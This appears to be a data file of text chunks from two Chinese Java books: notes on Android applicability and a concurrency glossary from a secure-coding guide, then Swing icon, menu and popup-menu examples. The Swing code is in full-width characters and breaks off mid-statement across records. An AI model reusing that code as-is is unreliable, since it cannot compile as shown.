    {"text": "附录 Android 附录 Android 本附录描述了书中的这些指南在使用Java语言开发Android应用时的适用性。 续表 续表 注：1．违规代码示例中的问题在Dalvik虚拟机上很难出现，因为每个应用都是执行在自己的Dalvik虚拟机里，这使得一个应用很难访问到其他应用的string对象。 2．Android平台上没有AccessControlContext()。 3．Android SDK中没有ScriptEngineManager。 4．对于那些想要实现自己的LDAP的Android应用，理论上是适用的。 5．Android平台不使用AccessController。 6．Android平台不使用AccessController。 7．在Android平台，做文件I/O更倾向于使用openFileOutput()和openFileInput()方法。 8．Android SDK目前还不支持Java 7，因此没有try-with-resources语句。 9．Android平台会默认自动忽略assert()语句。 10．Android平台上没有java.nio.file。"},
    {"text": "术语表 术语表 原子性（atomicity）： 当对原始数据进行一个操作时，其他线程访问该数据时只能看到该数据在该操作发生之前或完成之后的值，不可能看到访问到该操作正在进行时的该数据的值，这个操作就具有原子性。"},
    {"text": "线程因为调用了 Object.wait()方法、Thread.sleep()方法或一些其他机制暂停运行，之后再想恢复运行的话，需要等到线程被通知到条件断言为true的时候[Goetz 2006]。"},
    {"text": "数据竞争（data race） ：“当一个程序中有两个冲突的访问时，如果没有通过‘先行发生’来管理它们的执行顺序时，那么我们就说这个程序有一个数据竞争”[JLS 2013, §17.4.5, “Happens-before Order”]。"},
    {"text": "先行发生的顺序（happens-before order） ：“两个动作可以按‘先行发生’的关系排序，如果一个动作与另一个动作有‘先行发生’关系，那么该动作一定会先于另一个动作发生，并且该动作的结果对另一个操作可见……需要注意的是，两个动作之间先行发生顺序的存在并不意味着它们在实现上也一定会按这个顺序发生。"},
    {"text": "如果经过重新排序后的执行结果和合法执行结果一致，那么它也是合法的……更确切地说，如果两个动作之间有‘先行发生’关系，它们就不需要对那些和它们没有‘先行发生’关系的代码保证它们必须按照那个顺序来执行。"},
    {"text": "例如，如果一个线程中的写操作和其他线程的读操作产生数据竞争，那么这些读操作之间的顺序可能就会乱掉”[JLS 2013, §17.4.5, “Happens-before Order”]。"},
    {"text": "所有的实例字段、静态字段以及数组元素都是存储在堆内存中……局部变量、方法的参数和异常处理器参数不会在两个线程之间共享，它们不会受到内存模型的影响”[JLS 2013, §17.4.1, “Shared Variables”]。"},
    {"text": "隐藏（hide）： 如果一个类字段的标识符和一个超类字段的一样，那么这个类字段就会隐藏掉那个超类字段，被隐藏的字段将无法从本类中读取到。 同样的，类的方法也会因为相同的原因隐藏超类的方法，被隐藏的方法也无法再从本类中调用到。"},
    {"text": "不可变（immutable）： 一个对象的不可变意味着自该对象初始化以后，其状态就不会再改变。 不可变对象有以下特征： 其状态在构造之后就不会被修改；"},
    {"text": "内存模型（memory model）： “确定内存访问顺序的规则以及何时应该保证数据的可见性的规则就是我们所说的Java编程语言的内存模型”[Arnold 2006]。 “内存模型描述一个程序，以及该程序的执行轨迹，并且能够判断该程序的执行轨迹是否是一个合法的执行轨迹”[JLS 2013, §17.4, “Memory Model”]。"},
    {"text": "掩盖（obscure）： 如果两个标识符名字一样，但是指代的内容却不同，那么当这两个标识符处在同一个作用域范围内时就会出现一个标识符掩盖另一个标识符的情况。 例如，当一个标识符指代的是一个变量，但是另一个同名的标识符指代的却是一种类型时，就会发生这种情况。"},
    {"text": "发布对象（publishing object）： “发布对象指的是让该对象在当前作用域范围外能够被访问到，如通过传递引用到别的代码，通过一个非私有方法返回出去，或者是把它传递给另一个类的一个方法”[Goetz 2006]。"},
    {"text": "竞态条件（race condition）： “竞争会导致执行的不确定性，当程序需要确定性时就会失败”[Netzer 1992]。 “当运算的正确性取决于运行时的相对时序或者多个线程的交叉操作时，就会出现竞态条件”[Goetz 2006]。"},
    {"text": "把对象引用存储在一个 volatile 修饰的字段上，或者是一个AtomicReference上； 把对象引用存储到一个妥善构造的对象的final字段上； 或者 把对象引用存储到一个被锁妥善保护的字段上[Goetz 2006, §3.5 “Safe Publication”]。"},
    {"text": "Java中每个对象都自带有一个监控器，这个监控器可以被线程加锁或解锁，同一时刻只能有一个线程持有该对象监控器的锁，其他尝试给该对象监控器加锁的线程都会被阻塞，直到该线程可以持有该监控器的锁为止”[JLS 2013, §17.1, “Synchronization”]。"},
    {"text": "线程安全（thread-safe）： 如果一个对象在多个线程中使用时不会导致任何数据竞争的发生，则该对象是线程安全的。 “一个线程安全的对象内部自己进行了同步，因此多个线程可以通过该对象的公开接口随意访问该对象，而不需要做任何同步的考量”[Goetz 2006]。"},
    {"text": "在本段文字中，这个含义会进一步扩展到那些从知名的实体获取到的代码以及那些被给予了权限的代码，这两项要求是不可信代码没有的。 经过这层定义，可信代码和不可信代码可以共存在一个命名空间下，被同一个类加载器加载（不必是原始类加载器）。"},
    {"text": "１ ３ ． １ ９ ． ８ 图标 我们可在一个 ＪＬａｂｌｅ 或从 ＡｂｓｔｒａｃｔＢｕｔｔｏｎ 处继承的任何事物中使用一个图标（包括 ＪＢｕｔｔｏｎ，ＪＣｈｅｃｋｂｏｘ ， ＪｒａｄｉｏＢｕｔｔｏｎ 及不同类型的 ＪＭｅｎｕＩｔｅｍ）。"},
    {"text": "我们可以使用任何我们需要的 ＧＩＦ 文件，但在这个例子中使用的这个 ＧＩＦ 文件是这本书编码发行的一部分， 可以在 ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ 处下载来使用。"},
    {"text": "／／： Ｆａｃｅｓ．ｊａｖａ ／／ Ｉｃｏｎ ｂｅｈａｖｉｏｒ ｉｎ ＪＢｕｔｔｏｎｓ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｆａｃｅｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｓｔａｔｉｃ Ｉｃｏｎ［］ ｆａｃｅｓ ＝ ｛ ｎｅｗ ＩｍａｇｅＩｃｏｎ（＂ｆａｃｅ０．ｇｉｆ＂）， ｎｅｗ ＩｍａｇｅＩｃｏｎ（＂ｆａｃｅ１．ｇｉｆ＂）， ｎｅｗ ＩｍａｇｅＩｃｏｎ（＂ｆａｃｅ２．ｇｉｆ＂）， ｎｅｗ ＩｍａｇｅＩｃｏｎ（＂ｆａｃｅ３．ｇｉｆ＂）， ｎｅｗ ＩｍａｇｅＩｃｏｎ（＂ｆａｃｅ４．ｇｉｆ＂）， ｝； ＪＢｕｔｔｏｎ ｊｂ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂ＪＢｕｔｔｏｎ＂， ｆａｃｅｓ［３］）， ｊｂ２ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂Ｄｉｓａｂｌｅ＂）； ｂｏｏｌｅａｎ ｍａｄ ＝ ｆａｌｓｅ； ｐｕｂｌｉｃ Ｆａｃｅｓ（） ｛ ｊｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ ｉｆ（ｍａｄ） ｛ ｊｂ．ｓｅｔＩｃｏｎ（ｆａｃｅｓ［３］）； ｍａｄ ＝ ｆａｌｓｅ； ｝ ｅｌｓｅ ｛ ｊｂ．ｓｅｔＩｃｏｎ（ｆａｃｅｓ［０］）； ｍａｄ ＝ ｔｒｕｅ； ｝ ｊｂ．ｓｅｔＶｅｒｔｉｃａｌＡｌｉｇｎｍｅｎｔ（ＪＢｕｔｔｏｎ．ＴＯＰ）； ｊｂ．ｓｅｔＨｏｒｉｚｏｎｔａｌＡｌｉｇｎｍｅｎｔ（ＪＢｕｔｔｏｎ．ＬＥＦＴ）；"},
    {"text": "ｊｂ．ｓｅｔＲｏｌｌｏｖｅｒＥｎａｂｌｅｄ（ｔｒｕｅ）； ｊｂ．ｓｅｔＲｏｌｌｏｖｅｒＩｃｏｎ（ｆａｃｅｓ［１］）； ｊｂ．ｓｅｔＰｒｅｓｓｅｄＩｃｏｎ（ｆａｃｅｓ［２］）； ｊｂ．ｓｅｔＤｉｓａｂｌｅｄＩｃｏｎ（ｆａｃｅｓ［４］）； ｊｂ．ｓｅｔＴｏｏｌＴｉｐＴｅｘｔ（＂Ｙｏｗ！"},
    {"text": "ｊｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ ｉｆ（ｊｂ．ｉｓＥｎａｂｌｅｄ（）） ｛ ｊｂ．ｓｅｔＥｎａｂｌｅｄ（ｆａｌｓｅ）； ｊｂ２．ｓｅｔＴｅｘｔ（＂Ｅｎａｂｌｅ＂）； ｝ ｅｌｓｅ ｛ ｊｂ．ｓｅｔＥｎａｂｌｅｄ（ｔｒｕｅ）； ｊｂ２．ｓｅｔＴｅｘｔ（＂Ｄｉｓａｂｌｅ＂）； ４７３ ｝ ｝ ｝）； ａｄｄ（ｊｂ２）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｆａｃｅｓ（）， ３００， ２００）；"},
    {"text": "这个例子同样展示 了当事件发生在 ＪＢｕｔｔｏｎ（或者一些 ＡｂｓｔｒａｃｔＢｕｔｔｏｎ）上时，为什么它可以设置各种各样的显示图标：当 ＪＢｕｔｔｏｎ 被按下时，当它被失效时，或者“滚过”时（鼠标从它上面移动过但并不击它）。"},
    {"text": "１ ３ ． １ ９ ． ９ 菜单 菜单在 Ｓｗｉｎｇ 中做了重要的改进并且更加的灵活——例如，我们可以在几乎程序中任何地方使用他们，包括 在面板和程序片中。"},
    {"text": "语法同它们在老的 ＡＷＴ 中是一样的，并且这样使出现在老 ＡＷＴ 的在新的 Ｓｗｉｎｇ 也出现 了：我们必须为我们的菜单艰难地编写代码，并且有一些不再作为资源支持菜单（其它事件中的一些将使它 们更易转换成其它的编程语言）。"},
    {"text": "下面的方法是放置所有 的关于每个菜单的信息到对象的二维数组里（这种方法可以放置我们想处理的任何事物到数组里），这种方 法在解决这个问题方面领先了一步。"},
    {"text": "／／： Ｍｅｎｕｓ．ｊａｖａ ／／ Ａ ｍｅｎｕ－ｂｕｉｌｄｉｎｇ ｓｙｓｔｅｍ； ａｌｓｏ ｄｅｍｏｎｓｔｒａｔｅｓ ／／ ｉｃｏｎｓ ｉｎ ｌａｂｅｌｓ ａｎｄ ｍｅｎｕ ｉｔｅｍｓ． ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｅｎｕｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｓｔａｔｉｃ ｆｉｎａｌ Ｂｏｏｌｅａｎ ｂＴ ＝ ｎｅｗ Ｂｏｏｌｅａｎ（ｔｒｕｅ）， ｂＦ ＝ ｎｅｗ Ｂｏｏｌｅａｎ（ｆａｌｓｅ）； ／／ Ｄｕｍｍｙ ｃｌａｓｓ ｔｏ ｃｒｅａｔｅ ｔｙｐｅ ｉｄｅｎｔｉｆｉｅｒｓ： ｓｔａｔｉｃ ｃｌａｓｓ ＭＴｙｐｅ ｛ ＭＴｙｐｅ（ｉｎｔ ｉ） ｛｝ ｝； ｓｔａｔｉｃ ｆｉｎａｌ ＭＴｙｐｅ ｍｉ ＝ ｎｅｗ ＭＴｙｐｅ（１）， ／／ Ｎｏｒｍａｌ ｍｅｎｕ ｉｔｅｍ ｃｂ ＝ ｎｅｗ ＭＴｙｐｅ（２）， ／／ Ｃｈｅｃｋｂｏｘ ｍｅｎｕ ｉｔｅｍ ｒｂ ＝ ｎｅｗ ＭＴｙｐｅ（３）； ／／ Ｒａｄｉｏ ｂｕｔｔｏｎ ｍｅｎｕ ｉｔｅｍ ＪＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＪＴｅｘｔＦｉｅｌｄ（１０）； ＪＬａｂｅｌ ｌ ＝ ｎｅｗ ＪＬａｂｅｌ（＂Ｉｃｏｎ Ｓｅｌｅｃｔｅｄ＂， Ｆａｃｅｓ．ｆａｃｅｓ［０］， ＪＬａｂｅｌ．ＣＥＮＴＥＲ）； ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａ１ ＝ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（ （（ＪＭｅｎｕＩｔｅｍ）ｅ．ｇｅｔＳｏｕｒｃｅ（））．ｇｅｔＴｅｘｔ（））；"},
    {"text": "ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａ２ ＝ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＪＭｅｎｕＩｔｅｍ ｍｉ ＝ （ＪＭｅｎｕＩｔｅｍ）ｅ．ｇｅｔＳｏｕｒｃｅ（）； ｌ．ｓｅｔＴｅｘｔ（ｍｉ．ｇｅｔＴｅｘｔ（））； ｌ．ｓｅｔＩｃｏｎ（ｍｉ．ｇｅｔＩｃｏｎ（））；"},
    {"text": "／／ Ｓｔｏｒｅ ｍｅｎｕ ｄａｔａ ａｓ ＂ｒｅｓｏｕｒｃｅｓ＂： ｐｕｂｌｉｃ Ｏｂｊｅｃｔ［］［］ ｆｉｌｅＭｅｎｕ ＝ ｛ ／／ Ｍｅｎｕ ｎａｍｅ ａｎｄ ａｃｃｅｌｅｒａｔｏｒ： ｛ ＂Ｆｉｌｅ＂， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｆ＇） ｝， ／／ Ｎａｍｅ ｔｙｐｅ ａｃｃｅｌ ｌｉｓｔｅｎｅｒ ｅｎａｂｌｅｄ ｛ ＂Ｎｅｗ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｎ＇）， ａ１， ｂＴ ｝， ｛ ＂Ｏｐｅｎ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｏ＇）， ａ１， ｂＴ ｝， ｛ ＂Ｓａｖｅ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｓ＇）， ａ１， ｂＦ ｝， ｛ ＂Ｓａｖｅ Ａｓ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ａ＇）， ａ１， ｂＦ｝， ｛ ｎｕｌｌ ｝， ／／ Ｓｅｐａｒａｔｏｒ ｛ ＂Ｅｘｉｔ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ｘ＇）， ａ１， ｂＴ ｝， ｝； ｐｕｂｌｉｃ Ｏｂｊｅｃｔ［］［］ ｅｄｉｔＭｅｎｕ ＝ ｛ ／／ Ｍｅｎｕ ｎａｍｅ： ｛ ＂Ｅｄｉｔ＂， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｅ＇） ｝， ／／ Ｎａｍｅ ｔｙｐｅ ａｃｃｅｌ ｌｉｓｔｅｎｅｒ ｅｎａｂｌｅｄ ｛ ＂Ｃｕｔ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ｔ＇）， ａ１， ｂＴ ｝， ｛ ＂Ｃｏｐｙ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｃ＇）， ａ１， ｂＴ ｝， ｛ ＂Ｐａｓｔｅ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｐ＇）， ａ１， ｂＴ ｝， ｛ ｎｕｌｌ ｝， ／／ Ｓｅｐａｒａｔｏｒ ｛ ＂Ｓｅｌｅｃｔ Ａｌｌ＂， ｍｉ，ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ｌ＇），ａ１，ｂＴ｝， ｝； ｐｕｂｌｉｃ Ｏｂｊｅｃｔ［］［］ ｈｅｌｐＭｅｎｕ ＝ ｛ ／／ Ｍｅｎｕ ｎａｍｅ： ｛ ＂Ｈｅｌｐ＂， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｈ＇） ｝， ／／ Ｎａｍｅ ｔｙｐｅ ａｃｃｅｌ ｌｉｓｔｅｎｅｒ ｅｎａｂｌｅｄ ｛ ＂Ｉｎｄｅｘ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｉ＇）， ａ１， ｂＴ ｝， ｛ ＂Ｕｓｉｎｇ ｈｅｌｐ＂， ｍｉ，ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｕ＇），ａ１，ｂＴ｝， ｛ ｎｕｌｌ ｝， ／／ Ｓｅｐａｒａｔｏｒ ｛ ＂Ａｂｏｕｔ＂， ｍｉ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ｔ＇）， ａ１， ｂＴ ｝， ｝； ｐｕｂｌｉｃ Ｏｂｊｅｃｔ［］［］ ｏｐｔｉｏｎＭｅｎｕ ＝ ｛ ／／ Ｍｅｎｕ ｎａｍｅ： ｛ ＂Ｏｐｔｉｏｎｓ＂， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇Ｏ＇） ｝， ／／ Ｎａｍｅ ｔｙｐｅ ａｃｃｅｌ ｌｉｓｔｅｎｅｒ ｅｎａｂｌｅｄ ｛ ＂Ｏｐｔｉｏｎ １＂， ｃｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇１＇）， ａ１，ｂＴ｝， ｛ ＂Ｏｐｔｉｏｎ ２＂， ｃｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇２＇）， ａ１，ｂＴ｝， ｝； ｐｕｂｌｉｃ Ｏｂｊｅｃｔ［］［］ ｆａｃｅＭｅｎｕ ＝ ｛ ／／ Ｍｅｎｕ ｎａｍｅ： ｛ ＂Ｆａｃｅｓ＂， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇ａ＇） ｝， ／／ Ｏｐｔｉｎａｌ ｌａｓｔ ｅｌｅｍｅｎｔ ｉｓ ｉｃｏｎ ｛ ＂Ｆａｃｅ ０＂， ｒｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇０＇）， ａ２， ｂＴ， Ｆａｃｅｓ．ｆａｃｅｓ［０］ ｝， ４７５ ｛ ＂Ｆａｃｅ １＂， ｒｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇１＇）， ａ２， ｂＴ， Ｆａｃｅｓ．ｆａｃｅｓ［１］ ｝， ｛ ＂Ｆａｃｅ ２＂， ｒｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇２＇）， ａ２， ｂＴ， Ｆａｃｅｓ．ｆａｃｅｓ［２］ ｝， ｛ ＂Ｆａｃｅ ３＂， ｒｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇３＇）， ａ２， ｂＴ， Ｆａｃｅｓ．ｆａｃｅｓ［３］ ｝， ｛ ＂Ｆａｃｅ ４＂， ｒｂ， ｎｅｗ Ｃｈａｒａｃｔｅｒ（＇４＇）， ａ２， ｂＴ， Ｆａｃｅｓ．ｆａｃｅｓ［４］ ｝， ｝； ｐｕｂｌｉｃ Ｏｂｊｅｃｔ［］ ｍｅｎｕＢａｒ ＝ ｛ ｆｉｌｅＭｅｎｕ， ｅｄｉｔＭｅｎｕ， ｆａｃｅＭｅｎｕ， ｏｐｔｉｏｎＭｅｎｕ， ｈｅｌｐＭｅｎｕ， ｝； ｓｔａｔｉｃ ｐｕｂｌｉｃ ＪＭｅｎｕＢａｒ ｃｒｅａｔｅＭｅｎｕＢａｒ（Ｏｂｊｅｃｔ［］ ｍｅｎｕＢａｒＤａｔａ） ｛ ＪＭｅｎｕＢａｒ ｍｅｎｕＢａｒ ＝ ｎｅｗ ＪＭｅｎｕＢａｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍｅｎｕＢａｒＤａｔａ．ｌｅｎｇｔｈ； ｉ＋＋） ｍｅｎｕＢａｒ．ａｄｄ（ ｃｒｅａｔｅＭｅｎｕ（（Ｏｂｊｅｃｔ［］［］）ｍｅｎｕＢａｒＤａｔａ［ｉ］））； ｒｅｔｕｒｎ ｍｅｎｕＢａｒ； ｝ ｓｔａｔｉｃ ＢｕｔｔｏｎＧｒｏｕｐ ｂｇｒｏｕｐ； ｓｔａｔｉｃ ｐｕｂｌｉｃ ＪＭｅｎｕ ｃｒｅａｔｅＭｅｎｕ（Ｏｂｊｅｃｔ［］［］ ｍｅｎｕＤａｔａ） ｛ ＪＭｅｎｕ ｍｅｎｕ ＝ ｎｅｗ ＪＭｅｎｕ（）； ｍｅｎｕ．ｓｅｔＴｅｘｔ（（Ｓｔｒｉｎｇ）ｍｅｎｕＤａｔａ［０］［０］）； ｍｅｎｕ．ｓｅｔＭｎｅｍｏｎｉｃ（ （（Ｃｈａｒａｃｔｅｒ）ｍｅｎｕＤａｔａ［０］［１］）．ｃｈａｒＶａｌｕｅ（））； ／／ Ｃｒｅａｔｅ ｒｅｄｕｎｄａｎｔｌｙ， ｉｎ ｃａｓｅ ｔｈｅｒｅ ａｒｅ ／／ ａｎｙ ｒａｄｉｏ ｂｕｔｔｏｎｓ： ｂｇｒｏｕｐ ＝ ｎｅｗ ＢｕｔｔｏｎＧｒｏｕｐ（）； ｆｏｒ（ｉｎｔ ｉ ＝ １； ｉ ＜ ｍｅｎｕＤａｔａ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｉｆ（ｍｅｎｕＤａｔａ［ｉ］［０］ ＝＝ ｎｕｌｌ） ｍｅｎｕ．ａｄｄ（ｎｅｗ ＪＳｅｐａｒａｔｏｒ（））； ｅｌｓｅ ｍｅｎｕ．ａｄｄ（ｃｒｅａｔｅＭｅｎｕＩｔｅｍ（ｍｅｎｕＤａｔａ［ｉ］））； ｝ ｒｅｔｕｒｎ ｍｅｎｕ；"},
    {"text": "｝ ｓｔａｔｉｃ ｐｕｂｌｉｃ ＪＭｅｎｕＩｔｅｍ ｃｒｅａｔｅＭｅｎｕＩｔｅｍ（Ｏｂｊｅｃｔ［］ ｄａｔａ） ｛ ＪＭｅｎｕＩｔｅｍ ｍ ＝ ｎｕｌｌ； ＭＴｙｐｅ ｔｙｐｅ ＝ （ＭＴｙｐｅ）ｄａｔａ［１］； ｉｆ（ｔｙｐｅ ＝＝ ｍｉ） ｍ ＝ ｎｅｗ ＪＭｅｎｕＩｔｅｍ（）； ｅｌｓｅ ｉｆ（ｔｙｐｅ ＝＝ ｃｂ） ｍ ＝ ｎｅｗ ＪＣｈｅｃｋＢｏｘＭｅｎｕＩｔｅｍ（）； ｅｌｓｅ ｉｆ（ｔｙｐｅ ＝＝ ｒｂ） ｛ ｍ ＝ ｎｅｗ ＪＲａｄｉｏＢｕｔｔｏｎＭｅｎｕＩｔｅｍ（）； ｂｇｒｏｕｐ．ａｄｄ（ｍ）； ｝ ｍ．ｓｅｔＴｅｘｔ（（Ｓｔｒｉｎｇ）ｄａｔａ［０］）； ４７６ ｍ．ｓｅｔＭｎｅｍｏｎｉｃ（ （（Ｃｈａｒａｃｔｅｒ）ｄａｔａ［２］）．ｃｈａｒＶａｌｕｅ（））； ｍ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ （ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ）ｄａｔａ［３］）； ｍ．ｓｅｔＥｎａｂｌｅｄ（ （（Ｂｏｏｌｅａｎ）ｄａｔａ［４］）．ｂｏｏｌｅａｎＶａｌｕｅ（））； ｉｆ（ｄａｔａ．ｌｅｎｇｔｈ ＝＝ ６） ｍ．ｓｅｔＩｃｏｎ（（Ｉｃｏｎ）ｄａｔａ［５］）； ｒｅｔｕｒｎ ｍ； ｝ Ｍｅｎｕｓ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ａｄｄ（ｃｒｅａｔｅＭｅｎｕＢａｒ（ｍｅｎｕＢａｒ）， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ＪＰａｎｅｌ ｐ ＝ ｎｅｗ ＪＰａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； ｐ．ａｄｄ（ｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ｐ．ａｄｄ（ｌ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｍｅｎｕｓ（）， ３００， ２００）；"},
    {"text": "其余的列包含每个菜单项的数据：字符串存 在在菜单项中的位置，菜单的类型，它的快捷键，当菜单项被选中时被激活的动作接收器及菜单是否被激活 等信息。"},
    {"text": "为了预防浪费和冗长的多个 Ｂｏｏｌｅａｎ 创建的对象和类型标志，以下的这些在类开始时就作为 ｓｔａｔｉｃ ｆｉｎａｌ 被 创建：ｂＴ 和 ｂＦ 描述 Ｂｏｏｌｅａｎｓ 和哑类 ＭＴｙｐｅ 的不同对象描述标准的菜单项（ｍｉ），复选框菜单项（ｃｂ），和 单选钮菜单项（ｒｂ）。"},
    {"text": "我们通过这个数组 去使用 ｃｒｅａｔｅＭｅｎｕＢａｒ（），将数组分类成单独的菜单数据数组，再通过每个单独的数组去创建菜单。 这种方 法依次使用菜单数据的每一行并以该数据创建 ＪＭｅｎｕ，然后为菜单数据中剩下的每一行调用 ｃｒｅａｔｅＭｅｎｕＩｔｅｍ（） 方法。 最后，ｃｒｅａｔｅＭｅｎｕＩｔｅｍ（）方法分析菜单数据的每一行并且判断菜单类型和它的属性，再适当地创建菜 单项。 终于，像我们在菜单构建器中看到的一样，从表示 ｃｒｅａｔｅＭｅｎｕＢａｒ（ｍｅｎｕＢａｒ）的表格中创建菜单，而所 有的事物都是采用递归方法处理的。"},
    {"text": "１ ３ ． １ ９ ． １ ０ 弹出式菜单 ＪＰｏｐｕｐＭｅｎｕ 的执行看起来有一些别扭：我们必须调用 ｅｎａｂｌｅＥｖｅｎｔｓ（）方法并选择鼠标事件代替利用事件接收 器。 它可能增加一个鼠标接收器但 ＭｏｕｓｅＥｖｅｎｔ 从 ｉｓＰｏｐｕｐＴｒｉｇｇｅｒ（）处不会返回真值——它不知道将激活一 个弹出菜单。"},
    {"text": "在 下面的程序例子里一些事件产生了这种弹出行为： ／／： Ｐｏｐｕｐ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ｐｏｐｕｐ ｍｅｎｕｓ ｗｉｔｈ Ｓｗｉｎｇ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ４７７ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｐｏｐｕｐ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ＪＰｏｐｕｐＭｅｎｕ ｐｏｐｕｐ ＝ ｎｅｗ ＪＰｏｐｕｐＭｅｎｕ（）； ＪＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＪＴｅｘｔＦｉｅｌｄ（１０）； ｐｕｂｌｉｃ Ｐｏｐｕｐ（） ｛ ａｄｄ（ｔ）； ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａｌ ＝ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ ｔ．ｓｅｔＴｅｘｔ（ （（ＪＭｅｎｕＩｔｅｍ）ｅ．ｇｅｔＳｏｕｒｃｅ（））．ｇｅｔＴｅｘｔ（））；"},
